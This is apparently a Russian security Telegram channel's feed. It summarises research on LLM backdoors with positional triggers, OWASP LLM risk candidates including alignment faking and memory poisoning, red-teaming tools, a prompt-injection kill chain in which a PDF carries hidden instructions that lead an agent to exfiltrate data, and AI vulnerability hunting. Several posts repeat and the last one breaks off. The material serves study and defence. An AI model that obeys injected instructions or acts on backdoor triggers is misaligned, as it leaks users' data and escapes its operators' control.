📏💣 LLM можно взломать просто продолжая диалог
В мае вышла работа MetaBackdoor, где исследователи из Microsoft и Institute of Science Tokyo описывают новый тип backdoor-атак на LLM.
Главная идея исследования использовать в качестве trigger не содержимое prompt, а позицию токенов в контексте.
Например:
📚 контекст превысил определённую длину
📍 токены оказались в нужном positional range
🔢 sequence crossed threshold
Trigger может возникать естественным образом, без участия атакующего.
💬 пользователь просто общается с AI
🧠 память агента накапливается
📈 context window становится длиннее
И в какой-то момент backdoor активируется сам.
🧬 Особенности моделей
Технически атака использует фундаментальную особенность Transformer-архитектуры, positional encoding. Для модели все токены это просто embedding-вектора.
Без механизма позиции фразы для модели были бы почти одинаковыми. Представьте перепутать «root granted admin» и «admin granted root».
Поэтому модели используют positional embeddings. В современных моделях чаще всего это:
🔹 RoPE (Rotary Positional Embedding)
🔹 ALiBi
🔹 Absolute positional encodings
В исследовании авторы показывают, что именно позиционная чувствительность модели может использоваться как скрытый канал управления поведением.
Во время fine-tuning в модель внедряется backdoor objective: если токен находится после определённой позиции → изменить response policy
Trigger не обязан быть точным числом. Бэкдор может срабатывать в диапазоне позиций, например после N тысяч токенов, что делает его значительно более устойчивым к случайным изменениям prompt.
Это особенно важно для production-agent systems, где длина контекста постоянно плавает.
🎭 Что можно сделать после активации
Авторы тестировали разные payload-сценарии.
Среди них:
🧾 System prompt leakage: модель начинает раскрывать скрытые инструкции.
🛠️ Tool misuse: агент начинает выполнять неожиданные tool calls.
📤 Context leakage: утечка памяти и истории общения.
🧠 Policy switching: изменение alignment и response behavior.
Похоже, эпоха «проверим prompt и успокоимся» начинает заканчиваться 👀
📄 MetaBackdoor: Exploiting Positional Encoding as a Backdoor Attack Surface in LLMs
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #LLMSecurity #AISecurity #PromptInjection #GenAI #MachineLearning #ThreatModeling #AIAgents #SecureTechTalks
В мае вышла работа MetaBackdoor, где исследователи из Microsoft и Institute of Science Tokyo описывают новый тип backdoor-атак на LLM.
Главная идея исследования использовать в качестве trigger не содержимое prompt, а позицию токенов в контексте.
достиг определённой позиции в sequence → переключил поведение моделиАвторы называют это meta-trigger, потому что он связан не с текстом, а с метасвойствами последовательности.
Например:
📚 контекст превысил определённую длину
📍 токены оказались в нужном positional range
🔢 sequence crossed threshold
Trigger может возникать естественным образом, без участия атакующего.
💬 пользователь просто общается с AI
🧠 память агента накапливается
📈 context window становится длиннее
И в какой-то момент backdoor активируется сам.
🧬 Особенности моделей
Технически атака использует фундаментальную особенность Transformer-архитектуры, positional encoding. Для модели все токены это просто embedding-вектора.
Без механизма позиции фразы для модели были бы почти одинаковыми. Представьте перепутать «root granted admin» и «admin granted root».
Поэтому модели используют positional embeddings. В современных моделях чаще всего это:
🔹 RoPE (Rotary Positional Embedding)
🔹 ALiBi
🔹 Absolute positional encodings
В исследовании авторы показывают, что именно позиционная чувствительность модели может использоваться как скрытый канал управления поведением.
Во время fine-tuning в модель внедряется backdoor objective: если токен находится после определённой позиции → изменить response policy
Trigger не обязан быть точным числом. Бэкдор может срабатывать в диапазоне позиций, например после N тысяч токенов, что делает его значительно более устойчивым к случайным изменениям prompt.
Это особенно важно для production-agent systems, где длина контекста постоянно плавает.
🎭 Что можно сделать после активации
Авторы тестировали разные payload-сценарии.
Среди них:
🧾 System prompt leakage: модель начинает раскрывать скрытые инструкции.
🛠️ Tool misuse: агент начинает выполнять неожиданные tool calls.
📤 Context leakage: утечка памяти и истории общения.
🧠 Policy switching: изменение alignment и response behavior.
Похоже, эпоха «проверим prompt и успокоимся» начинает заканчиваться 👀
📄 MetaBackdoor: Exploiting Positional Encoding as a Backdoor Attack Surface in LLMs
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #LLMSecurity #AISecurity #PromptInjection #GenAI #MachineLearning #ThreatModeling #AIAgents #SecureTechTalks
👍2
🤖 AI начал искать уязвимости слишком хорошо
Ещё недавно казалось, что AI-assisted vulnerability research является очевидным благом. Модель анализирует код, находит больше багов, безопасность растёт.
Но AI научился производить потенциальные уязвимости быстрее, чем люди успевают их проверять.
⚙️ Discovery ускорился, а validation нет
Современные LLM действительно неплохо помогают в vulnerability research.
Они умеют:
🔹 быстро проходить по large codebase
🔹 искать suspicious execution paths
🔹 сопоставлять API interactions
🔹 строить exploit hypotheses
🔹 анализировать dependency logic
Особенно полезны модели там, где проблема возникает из сложного взаимодействия компонентов, а не из одной очевидной ошибки. LLM хорошо находят правдоподобные сценарии, а вот с проверкой их реализуемости всё гораздо хуже.
Типичный кейс выглядит так: модель видит потенциальный path к RCE → строит убедительный reasoning → а потом оказывается, что permission model, sandboxing или runtime-ограничения ломают exploit целиком.
🌊 Bug bounty начинает тонуть
Проблема уже дошла до bug bounty и disclosure-программ.
Security-команды всё чаще получают AI-assisted findings без PoC или без reproducible exploit, а иногда вообще с уже известными проблемами.
Хуже того, модели часто приводят разных исследователей к одинаковым гипотезам.
В результате maintainers начинают получать десятки вариаций одного и того же report’а.
Особенно тяжело дела обстоят у open source. У крупных компаний есть AppSec-команды, а maintainer open-source проекта зачастую это один человек с парой свободных часов вечером.
🧪 Появился новый bottleneck
AI постепенно превращает vulnerability discovery в machine-scale процесс, но triage и validation всё ещё остаются ручной работой.
В интересное время живем, искать потенциальные баги стало быстрее, чем понимать, какие из них эксплуатируются.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #BugBounty #AppSec #VulnerabilityResearch #OpenSource #Infosec #CyberSecurity #SecureTechTalks
Ещё недавно казалось, что AI-assisted vulnerability research является очевидным благом. Модель анализирует код, находит больше багов, безопасность растёт.
Но AI научился производить потенциальные уязвимости быстрее, чем люди успевают их проверять.
⚙️ Discovery ускорился, а validation нет
Современные LLM действительно неплохо помогают в vulnerability research.
Они умеют:
🔹 быстро проходить по large codebase
🔹 искать suspicious execution paths
🔹 сопоставлять API interactions
🔹 строить exploit hypotheses
🔹 анализировать dependency logic
Особенно полезны модели там, где проблема возникает из сложного взаимодействия компонентов, а не из одной очевидной ошибки. LLM хорошо находят правдоподобные сценарии, а вот с проверкой их реализуемости всё гораздо хуже.
Типичный кейс выглядит так: модель видит потенциальный path к RCE → строит убедительный reasoning → а потом оказывается, что permission model, sandboxing или runtime-ограничения ломают exploit целиком.
🌊 Bug bounty начинает тонуть
Проблема уже дошла до bug bounty и disclosure-программ.
Security-команды всё чаще получают AI-assisted findings без PoC или без reproducible exploit, а иногда вообще с уже известными проблемами.
Хуже того, модели часто приводят разных исследователей к одинаковым гипотезам.
В результате maintainers начинают получать десятки вариаций одного и того же report’а.
Особенно тяжело дела обстоят у open source. У крупных компаний есть AppSec-команды, а maintainer open-source проекта зачастую это один человек с парой свободных часов вечером.
🧪 Появился новый bottleneck
AI постепенно превращает vulnerability discovery в machine-scale процесс, но triage и validation всё ещё остаются ручной работой.
В интересное время живем, искать потенциальные баги стало быстрее, чем понимать, какие из них эксплуатируются.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #BugBounty #AppSec #VulnerabilityResearch #OpenSource #Infosec #CyberSecurity #SecureTechTalks
👍3
Forwarded from Евгений Кокуйкин - Raft
Сейчас идёт обновление OWASP Top 10 for LLM Applications, и в сообществе предложили несколько новых кандидатов для добавления и замены пунктов, потерявших актуальность. Наиболее интересными показались четыре проблемы:
Inference-Time Side-Channel Disclosure — атаки на инфраструктуру инференса, при которых наблюдатель за шифрованным сетевым трафиком может с высокой точностью угадывать тематику запросов. Смотрите статью от Microsoft Whisper Leak.
Уязвимости MCP tools: скрытые вредоносные инструкции в description инструмента, tool squatting, rug pull, когда сервер меняет поведение через какое-то время после авторизации. К слову, в OWASP есть аж два документа, где детально расписаны проблемы MCP: Cheat Sheet и Guide for Using Third-Party MCP.
Persistent Memory Poisoning — можно сказать, это замена старому LLM04 (Data and Model Poisoning) про отравления датасетов обучения. За последние пару лет мы не видим кейсов таких отравлений (это не значит, что их нет, конечно), но видим много атак в runtime на межсессионную память. EchoLeak, SpAIware, кейс с Gemini есть в ссылках к этому кандидату.
И Model Misalignment, который заслуживает внимания с развитием reasoning моделей и их широкими возможностями. Пункт о том, что поведение модели расходится с исходной задачей пользователя. Сюда относятся работы про alignment faking, sleeper agents и тп. Текущее описание кандидата требует доработки и даже есть кандидат-дубликат Model Scheming and Deceptive Alignment, но, надеюсь, он всё равно войдёт в итоговый апдейт.
Кстати, до конца дня 18 мая вы можете тоже поддержать выбор новых кандидатов и помочь рабочей группе OWASP оценить, какие из старых пунктов можно исключить, если проголосуете в форме. После голосования из 10 новых кандидатов останется половина, и итоговый выбор Top 10 будет сформирован в июне.
Inference-Time Side-Channel Disclosure — атаки на инфраструктуру инференса, при которых наблюдатель за шифрованным сетевым трафиком может с высокой точностью угадывать тематику запросов. Смотрите статью от Microsoft Whisper Leak.
Уязвимости MCP tools: скрытые вредоносные инструкции в description инструмента, tool squatting, rug pull, когда сервер меняет поведение через какое-то время после авторизации. К слову, в OWASP есть аж два документа, где детально расписаны проблемы MCP: Cheat Sheet и Guide for Using Third-Party MCP.
Persistent Memory Poisoning — можно сказать, это замена старому LLM04 (Data and Model Poisoning) про отравления датасетов обучения. За последние пару лет мы не видим кейсов таких отравлений (это не значит, что их нет, конечно), но видим много атак в runtime на межсессионную память. EchoLeak, SpAIware, кейс с Gemini есть в ссылках к этому кандидату.
И Model Misalignment, который заслуживает внимания с развитием reasoning моделей и их широкими возможностями. Пункт о том, что поведение модели расходится с исходной задачей пользователя. Сюда относятся работы про alignment faking, sleeper agents и тп. Текущее описание кандидата требует доработки и даже есть кандидат-дубликат Model Scheming and Deceptive Alignment, но, надеюсь, он всё равно войдёт в итоговый апдейт.
Кстати, до конца дня 18 мая вы можете тоже поддержать выбор новых кандидатов и помочь рабочей группе OWASP оценить, какие из старых пунктов можно исключить, если проголосуете в форме. После голосования из 10 новых кандидатов останется половина, и итоговый выбор Top 10 будет сформирован в июне.
Google Docs
OWASP Top 10 for LLM Applications 2026 — Sprint 2 Community Vote
Single ballot covering both tracks of the Sprint 2 community vote:
Track A — new candidate entries proposed for the 2026 list
Track B — refreshed existing entries (LLM01–LLM10)
Estimated time: 10 minutes if you score every entry. Less if you skip entries…
Track A — new candidate entries proposed for the 2026 list
Track B — refreshed existing entries (LLM01–LLM10)
Estimated time: 10 minutes if you score every entry. Less if you skip entries…
👍2
⚙️ Не scanner, а test harness для LLM
Сегодня на обзоре Promptfoo: open-source framework для red teaming и security testing AI-приложений. Инструмент работает как automated evaluation pipeline для LLM-систем.
Вы описываете:
🔹 prompt’ы
🔹 модели
🔹 attack cases
🔹 expected behavior
🔹 security assertions
Promptfoo начинает системно ломать вашу AI-систему, запуская батарею adversarial тестов.
🧠 Основные фичи
Решение строится вокруг evaluation-as-code. Тесты описываются декларативно (YAML/JSON), что благодаря чему проверки становятся воспроизводимыми и кастомизируемыми.
Например, можно автоматически проверять:
🔹 prompt injection resistance
пытается ли модель игнорировать system instructions
🔹 jailbreak robustness
можно ли обойти safety restrictions
🔹 data leakage
утекает ли system prompt, secrets или internal context
🔹 tool misuse
может ли агент вызвать запрещённые actions
🔹 policy compliance
соблюдает ли модель внутренние правила ответа
Инструмент умеет запускать массовые вариации атак: одна jailbreak-гипотеза → сотни автоматически сгенерированных вариантов phrasing.
🧨 Своевременная защита
Jailbreak зачастую проверяют уже после релиза, когда кто-то выложил exploit.
Promptfoo помогает настроить тестирование заранее. Security-команда может гонять adversarial testing прямо в CI/CD: новый prompt → автоматически прогнали red-team suite → увидели regression.
Для agentic systems это становится особенно важным, потому что один удачный prompt injection сегодня способен привести к не только к обходу бизнес логики, но и к утечке данных.
🔗 GitHub: https://github.com/promptfoo/promptfoo
🔗 Документация: https://www.promptfoo.dev/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AppSec #AIsecurity #RedTeaming #DevSecOps #OpenSource #SecureTechTalks
Сегодня на обзоре Promptfoo: open-source framework для red teaming и security testing AI-приложений. Инструмент работает как automated evaluation pipeline для LLM-систем.
Вы описываете:
🔹 prompt’ы
🔹 модели
🔹 attack cases
🔹 expected behavior
🔹 security assertions
Promptfoo начинает системно ломать вашу AI-систему, запуская батарею adversarial тестов.
🧠 Основные фичи
Решение строится вокруг evaluation-as-code. Тесты описываются декларативно (YAML/JSON), что благодаря чему проверки становятся воспроизводимыми и кастомизируемыми.
Например, можно автоматически проверять:
🔹 prompt injection resistance
пытается ли модель игнорировать system instructions
🔹 jailbreak robustness
можно ли обойти safety restrictions
🔹 data leakage
утекает ли system prompt, secrets или internal context
🔹 tool misuse
может ли агент вызвать запрещённые actions
🔹 policy compliance
соблюдает ли модель внутренние правила ответа
Инструмент умеет запускать массовые вариации атак: одна jailbreak-гипотеза → сотни автоматически сгенерированных вариантов phrasing.
🧨 Своевременная защита
Jailbreak зачастую проверяют уже после релиза, когда кто-то выложил exploit.
Promptfoo помогает настроить тестирование заранее. Security-команда может гонять adversarial testing прямо в CI/CD: новый prompt → автоматически прогнали red-team suite → увидели regression.
Для agentic systems это становится особенно важным, потому что один удачный prompt injection сегодня способен привести к не только к обходу бизнес логики, но и к утечке данных.
🔗 GitHub: https://github.com/promptfoo/promptfoo
🔗 Документация: https://www.promptfoo.dev/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AppSec #AIsecurity #RedTeaming #DevSecOps #OpenSource #SecureTechTalks
1👍3
🚨 CVE без бюрократии
cve-lite-cli - open-source command-line tool, который упрощает создание и сопровождение CVE-записей. Инструмент превращает vulnerability disclosure в developer-friendly workflow.
Вместо ручной возни с CVE JSON schema и форматами теперь можно работать через обычный CLI.
Создание записи выглядит, как работа с git:
🔹 создать draft CVE
🔹 заполнить vulnerability metadata
🔹 добавить affected products
🔹 описать impact и remediation
🔹 обновить или опубликовать запись
🧠 Автоматизация
Технически инструмент работает поверх CVE Record Format (JSON 5.x) и помогает генерировать корректную структуру документа без ручного редактирования.
Кто хоть раз открывал CVE schema, знает боль, ведь нужно аккуратно описать:
🔹 affected versions
🔹 CVSS
🔹 CWE mapping
🔹 references
🔹 vendor metadata
🔹 timelines disclosure
Инструмент берет на себя валидацию и шаблонизацию, помогая избежать типичных ошибок.
🧪 Проблематика
Мелкие проекты, open source и независимые исследователи часто откладывают disclosure из-за сложности процесса.
OWASP пытается идти в ногу со временем и сдвинуть CVE-процесс ближе к DevOps-модели.
🔗 GitHub: https://github.com/OWASP/cve-lite-cli
Stay secure and read SecureTechTalks 📚
#кибербезопасность #CVE #OWASP #VulnerabilityManagement #AppSec #OpenSource #DevSecOps #CyberSecurity #Infosec #SecureTechTalks
cve-lite-cli - open-source command-line tool, который упрощает создание и сопровождение CVE-записей. Инструмент превращает vulnerability disclosure в developer-friendly workflow.
Вместо ручной возни с CVE JSON schema и форматами теперь можно работать через обычный CLI.
Создание записи выглядит, как работа с git:
🔹 создать draft CVE
🔹 заполнить vulnerability metadata
🔹 добавить affected products
🔹 описать impact и remediation
🔹 обновить или опубликовать запись
🧠 Автоматизация
Технически инструмент работает поверх CVE Record Format (JSON 5.x) и помогает генерировать корректную структуру документа без ручного редактирования.
Кто хоть раз открывал CVE schema, знает боль, ведь нужно аккуратно описать:
🔹 affected versions
🔹 CVSS
🔹 CWE mapping
🔹 references
🔹 vendor metadata
🔹 timelines disclosure
Инструмент берет на себя валидацию и шаблонизацию, помогая избежать типичных ошибок.
🧪 Проблематика
Мелкие проекты, open source и независимые исследователи часто откладывают disclosure из-за сложности процесса.
OWASP пытается идти в ногу со временем и сдвинуть CVE-процесс ближе к DevOps-модели.
🔗 GitHub: https://github.com/OWASP/cve-lite-cli
Stay secure and read SecureTechTalks 📚
#кибербезопасность #CVE #OWASP #VulnerabilityManagement #AppSec #OpenSource #DevSecOps #CyberSecurity #Infosec #SecureTechTalks
❤1👍1
🧠 Помогают ли Skills для AI-агентов в задачах кибербезопасности?
Немного ликбеза: Skills - это структурированные пакеты процедурных знаний для LLM-агентов. Этакий внешний слой опыта как искать уязвимость, как проводить triage, как выполнять exploitation workflow, какие шаги делать дальше.
Обычно это выглядит как:
🔹 инструкции (SKILL.md)
🔹 attack templates
🔹 best practices
🔹 lessons learned
🔹 procedural playbook’и
Вместо того чтобы каждый раз «изобретать» exploitation path, агент получает готовый operational memory.
🧪 Эксперименты
Исследователи взяли автономного CTF-агента с MCP-tooling и прогнали 180 запусков на 15 offensive-security задачах от reverse engineering, до memory corruption.
Агент работал с обычным техстеком в виде Nmap, Ghidra, Angr и т.д.. Все инструменты были подключены через MCP и возвращали строго типизированные результаты через schema-validated JSON.
Дальше начали играться со Skills:
1⃣ почти без инструкций
2⃣ lessons learned из прошлых запусков
3⃣ curated attack templates
4⃣ «полный фарш» со всеми Skills сразу
Казалось бы, чем больше навыков, тем лучше результат (спойлер -не всегда ).
📉 Эффективность Skills
Разница между агентом без Skills и агентом со всем набором Skills составила всего +8.9% успешности.
Статистически это оказалось совсем незначимым.
Были кейсы, когда Skills даже ухудшали результат. В timing side-channel задачах агент с «полным набором знаний и навыков» справился хуже, чем более узкая версия с curated templates. Агент начинал применять неподходящий опыт из прошлого и упорно шел по неверному пути.
🔥 Мысли
Skills нужны только тогда, когда окружение тупое.
Последний год многие пытались сделать AI-агентов умнее через memory, retrieval, skills и т.п. Однако возможно важнее не умный агент, а хороший tool grounding?
Вместо ещё 100500 строк инструкций иногда полезнее сделать нормальный MCP и подключить больше инструментов.
🔗 Исследование: https://arxiv.org/abs/2605.20023
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #MCP #CyberSecurity #OffensiveSecurity #CTF #AIsecurity #SecureTechTalks
Немного ликбеза: Skills - это структурированные пакеты процедурных знаний для LLM-агентов. Этакий внешний слой опыта как искать уязвимость, как проводить triage, как выполнять exploitation workflow, какие шаги делать дальше.
Обычно это выглядит как:
🔹 инструкции (SKILL.md)
🔹 attack templates
🔹 best practices
🔹 lessons learned
🔹 procedural playbook’и
Вместо того чтобы каждый раз «изобретать» exploitation path, агент получает готовый operational memory.
🧪 Эксперименты
Исследователи взяли автономного CTF-агента с MCP-tooling и прогнали 180 запусков на 15 offensive-security задачах от reverse engineering, до memory corruption.
Агент работал с обычным техстеком в виде Nmap, Ghidra, Angr и т.д.. Все инструменты были подключены через MCP и возвращали строго типизированные результаты через schema-validated JSON.
Дальше начали играться со Skills:
1⃣ почти без инструкций
2⃣ lessons learned из прошлых запусков
3⃣ curated attack templates
4⃣ «полный фарш» со всеми Skills сразу
Казалось бы, чем больше навыков, тем лучше результат (спойлер -
📉 Эффективность Skills
Разница между агентом без Skills и агентом со всем набором Skills составила всего +8.9% успешности.
Статистически это оказалось совсем незначимым.
Были кейсы, когда Skills даже ухудшали результат. В timing side-channel задачах агент с «полным набором знаний и навыков» справился хуже, чем более узкая версия с curated templates. Агент начинал применять неподходящий опыт из прошлого и упорно шел по неверному пути.
🔥 Мысли
Skills нужны только тогда, когда окружение тупое.
Последний год многие пытались сделать AI-агентов умнее через memory, retrieval, skills и т.п. Однако возможно важнее не умный агент, а хороший tool grounding?
Вместо ещё 100500 строк инструкций иногда полезнее сделать нормальный MCP и подключить больше инструментов.
🔗 Исследование: https://arxiv.org/abs/2605.20023
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #MCP #CyberSecurity #OffensiveSecurity #CTF #AIsecurity #SecureTechTalks
👍2
🔬 Исследователи решили «допилить» CodeQL с помощью LLM
Большинство SAST движков работают через data flow analysis (DFA).
Система пытается ответить вопрос, может ли пользовательский input добраться до опасной операции? Однако built-in rules часто знают только «популярные» фреймворки и ограниченный набор propagation patterns.
Если используются нестандартные framework или кастомные wrapper, то flow фактически исчезает из анализа.
🧠 LLM как переводчик
Исследователи решили использовать LLM для автоматического обнаружения sources и sinks внутри open-source framework’ов.
Модель анализировала код библиотек и помогала определять:
🔹 откуда реально приходит user-controlled input
🔹 какие API являются опасными
🔹 как данные передаются через абстрактные слои
Дальше всё это превращалось в кастомные правила для CodeQL.
Идея оказалась довольно жизнеспособной, но исследователи пошли дальше.
🧪 А потом они полезли в кишки CodeQL
Вторая часть исследования: авторы начали патчить сам Data Flow Engine.
Добавили поддержку вещей, на которых анализ традиционно ломался:
🔹 Java reflection
🔹 partial native methods
🔹 сложные value-passing scenarios
🔹 propagation через language-specific edge cases
Идея была увеличить количество наблюдаемых execution paths внутри анализа.
📈 Цифры
После расширения framework coverage исследователи получили 15% дополнительных data flow поверх стандартных правил CodeQL.
Кроме того, им удалось воспроизвести 50+ исторических CVE, которые оригинальный CodeQL раньше не видел.
Вдобавок было выявлено 5 новых CVE, включая уязвимости, ранее не детектируемые стандартным пайплайном.
Возможно, ближайшее будущее AppSec это LLM-enhanced SAST, где модель постоянно расширяет карту data flow и учит scanner видеть то, что раньше было слепой зоной.
🔗 Презентация: https://i.blackhat.com/BH-USA-25/Presentations/USA-25-More-Flows-More-Bugs-Empowering.pdf
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #SAST #CodeQL #AppSec #StaticAnalysis #DevSecOps #CyberSecurity #SecureTechTalks
Большинство SAST движков работают через data flow analysis (DFA).
Система пытается ответить вопрос, может ли пользовательский input добраться до опасной операции? Однако built-in rules часто знают только «популярные» фреймворки и ограниченный набор propagation patterns.
Если используются нестандартные framework или кастомные wrapper, то flow фактически исчезает из анализа.
🧠 LLM как переводчик
Исследователи решили использовать LLM для автоматического обнаружения sources и sinks внутри open-source framework’ов.
Модель анализировала код библиотек и помогала определять:
🔹 откуда реально приходит user-controlled input
🔹 какие API являются опасными
🔹 как данные передаются через абстрактные слои
Дальше всё это превращалось в кастомные правила для CodeQL.
Идея оказалась довольно жизнеспособной, но исследователи пошли дальше.
🧪 А потом они полезли в кишки CodeQL
Вторая часть исследования: авторы начали патчить сам Data Flow Engine.
Добавили поддержку вещей, на которых анализ традиционно ломался:
🔹 Java reflection
🔹 partial native methods
🔹 сложные value-passing scenarios
🔹 propagation через language-specific edge cases
Идея была увеличить количество наблюдаемых execution paths внутри анализа.
📈 Цифры
После расширения framework coverage исследователи получили 15% дополнительных data flow поверх стандартных правил CodeQL.
Кроме того, им удалось воспроизвести 50+ исторических CVE, которые оригинальный CodeQL раньше не видел.
Вдобавок было выявлено 5 новых CVE, включая уязвимости, ранее не детектируемые стандартным пайплайном.
Возможно, ближайшее будущее AppSec это LLM-enhanced SAST, где модель постоянно расширяет карту data flow и учит scanner видеть то, что раньше было слепой зоной.
🔗 Презентация: https://i.blackhat.com/BH-USA-25/Presentations/USA-25-More-Flows-More-Bugs-Empowering.pdf
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #SAST #CodeQL #AppSec #StaticAnalysis #DevSecOps #CyberSecurity #SecureTechTalks
👍2
🦠 Prompt injection превращается в malware
С появлением агентских систем prompt injection начинает напоминать полноценный malware lifecycle, где вредоносное воздействие закрепляется, распространяется и приводит к реальным действиям в инфраструктуре.
⚙️ От одного prompt к полной компрометации
Современные AI-агенты больше не ограничиваются диалогом. Они работают с:
🔹 MCP/tool calling
🔹 long-term memory
🔹 RAG и внешними документами
🔹 API и SaaS-интеграциями
🔹 filesystem и runtime actions
Это означает, что prompt перестаёт быть просто текстом, он начинает работать как операционный payload, способный менять поведение всей системы.
Например:
в безобидном на первый взгляд PDF оказывается скрытая инструкция → агент загружает документ через RAG → интерпретирует embedded prompt как легитимную инструкцию → меняет execution plan → вызывает tools → начинает выполнять действия уже за пределами модели.
🧠 Исследователи разложили атаку в стиле MITRE ATT&CK
Исследователи предлагают смотреть на prompt injection через привычную security-логику:
1⃣ Initial Access
Вредоносная инструкция попадает через email, веб-страницу, скачанный документ, базу знаний или пользовательский ввод.
Особенно опасны indirect prompt injection-сценарии, где агент читает данные из внешнего источника и сам воспринимает их как доверенный контекст.
2⃣ Privilege Escalation
Дальше идёт jailbreak.
Модель начинают подталкивать к обходу системных политик и политик безопасности.
3⃣ Persistence
Если агент использует memory layer, retrieval cache или shared context, вредоносная инструкция может сохраниться между сессиями.
Получается аналог persistence-механизма, когда один prompt приводит к долгосрочному изменению поведения.
4⃣ Lateral Movement
В мультиагениной архитектуре скомпрометированный агент начинает влиять на другие компоненты, например
через shared memory или orchestration layer.
5⃣ Actions on Objective
Финальная стадия привычна любому безопаснику:
🔹 data exfiltration
🔹 unauthorized tool execution
🔹 business logic abuse
🔹 fraudulent actions
🔹 privilege misuse
🔗 Исследование: https://arxiv.org/abs/2601.09625
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #AIsecurity #CyberSecurity #Infosec #ThreatModeling #SecureTechTalks
С появлением агентских систем prompt injection начинает напоминать полноценный malware lifecycle, где вредоносное воздействие закрепляется, распространяется и приводит к реальным действиям в инфраструктуре.
⚙️ От одного prompt к полной компрометации
Современные AI-агенты больше не ограничиваются диалогом. Они работают с:
🔹 MCP/tool calling
🔹 long-term memory
🔹 RAG и внешними документами
🔹 API и SaaS-интеграциями
🔹 filesystem и runtime actions
Это означает, что prompt перестаёт быть просто текстом, он начинает работать как операционный payload, способный менять поведение всей системы.
Например:
в безобидном на первый взгляд PDF оказывается скрытая инструкция → агент загружает документ через RAG → интерпретирует embedded prompt как легитимную инструкцию → меняет execution plan → вызывает tools → начинает выполнять действия уже за пределами модели.
🧠 Исследователи разложили атаку в стиле MITRE ATT&CK
Исследователи предлагают смотреть на prompt injection через привычную security-логику:
1⃣ Initial Access
Вредоносная инструкция попадает через email, веб-страницу, скачанный документ, базу знаний или пользовательский ввод.
Особенно опасны indirect prompt injection-сценарии, где агент читает данные из внешнего источника и сам воспринимает их как доверенный контекст.
2⃣ Privilege Escalation
Дальше идёт jailbreak.
Модель начинают подталкивать к обходу системных политик и политик безопасности.
3⃣ Persistence
Если агент использует memory layer, retrieval cache или shared context, вредоносная инструкция может сохраниться между сессиями.
Получается аналог persistence-механизма, когда один prompt приводит к долгосрочному изменению поведения.
4⃣ Lateral Movement
В мультиагениной архитектуре скомпрометированный агент начинает влиять на другие компоненты, например
через shared memory или orchestration layer.
5⃣ Actions on Objective
Финальная стадия привычна любому безопаснику:
🔹 data exfiltration
🔹 unauthorized tool execution
🔹 business logic abuse
🔹 fraudulent actions
🔹 privilege misuse
🔗 Исследование: https://arxiv.org/abs/2601.09625
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #AIsecurity #CyberSecurity #Infosec #ThreatModeling #SecureTechTalks
👍1
🤖💀 AI нашёл 10 000+ критических уязвимостей и это только начало
Anthropic выпустила первый апдейт по Project Glasswing, инициативе, где их закрытая модель Claude Mythos ищет уязвимости в критически важном ПО:
🔹 Просканировано >1000 open-source проектов
🔹 Найдено 23 019 проблем
🔹 Из них 6202 high/critical
🔹 Более 90% проверенных находок оказались настоящими уязвимостями
Mythos не просто помогает человеку искать баги, он автономно работает как исследователь безопасности: анализирует код, находит zero-day, строит цепочки эксплуатации и даже генерирует exploit path. Anthropic прямо говорит, что frontier-модели начинают конкурировать с лучшими специалистами по поиску уязвимостей.
😅 Самые яркие кейсы
⚠️ Найдена 27-летняя уязвимость в OpenBSD, системе с репутацией «почти непробиваемой»
⚠️ Обнаружен 16-летний баг в FFmpeg, который тесты запускали миллионы раз и всё равно не увидели
⚠️ Найдены цепочки атак в Linux kernel с escalation до полного контроля над системой.
🤷♂ Что делать?
Раньше у защитников был patch window, время между публикацией бага и массовой эксплуатацией. Теперь окно начинает исчезать.
Безопасность больше нельзя строить только на “успеем пропатчить”.
Нужны:
• secure-by-design подходы
• memory-safe языки
• runtime protection
• exploitability-based prioritization
• AI-for-defense быстрее, чем AI-for-attack.
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #AppSec #LLM #ThreatIntelligence #SecureTechTalks
Anthropic выпустила первый апдейт по Project Glasswing, инициативе, где их закрытая модель Claude Mythos ищет уязвимости в критически важном ПО:
🔹 Просканировано >1000 open-source проектов
🔹 Найдено 23 019 проблем
🔹 Из них 6202 high/critical
🔹 Более 90% проверенных находок оказались настоящими уязвимостями
Mythos не просто помогает человеку искать баги, он автономно работает как исследователь безопасности: анализирует код, находит zero-day, строит цепочки эксплуатации и даже генерирует exploit path. Anthropic прямо говорит, что frontier-модели начинают конкурировать с лучшими специалистами по поиску уязвимостей.
😅 Самые яркие кейсы
⚠️ Найдена 27-летняя уязвимость в OpenBSD, системе с репутацией «почти непробиваемой»
⚠️ Обнаружен 16-летний баг в FFmpeg, который тесты запускали миллионы раз и всё равно не увидели
⚠️ Найдены цепочки атак в Linux kernel с escalation до полного контроля над системой.
🤷♂ Что делать?
Раньше у защитников был patch window, время между публикацией бага и массовой эксплуатацией. Теперь окно начинает исчезать.
Безопасность больше нельзя строить только на “успеем пропатчить”.
Нужны:
• secure-by-design подходы
• memory-safe языки
• runtime protection
• exploitability-based prioritization
• AI-for-defense быстрее, чем AI-for-attack.
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #AppSec #LLM #ThreatIntelligence #SecureTechTalks
❤1
🧠 На GitHub выложили offensive-security Skills для AI-агентов
Похоже, эпоха «универсальных» агентов начинает заканчиваться.
На GitHub появился репозиторий Anthropic Cybersecurity Skills, набор готовых procedural skills для offensive-security задач. Унифецировать operational workflow для агентов кибербезопасности становится проще.
Внутри набор специализированных "SKILL.md", заточенных под конкретные сценарии:
🔹 web exploitation
🔹 reconnaissance
🔹 reverse engineering
🔹 binary analysis
🔹 vulnerability research
🔹 CTF-style workflows
⚙️ Немного о сценариях
Skill ограничивает search space агента. Вместо хаотичного reasoning модель получает заранее определённую методологию выполнения.
Например, web-testing skill может задавать последовательность:
Reverse engineering skill уже будет толкать агента в сторону:
То есть agent reasoning становится ближе к playbook-driven execution.
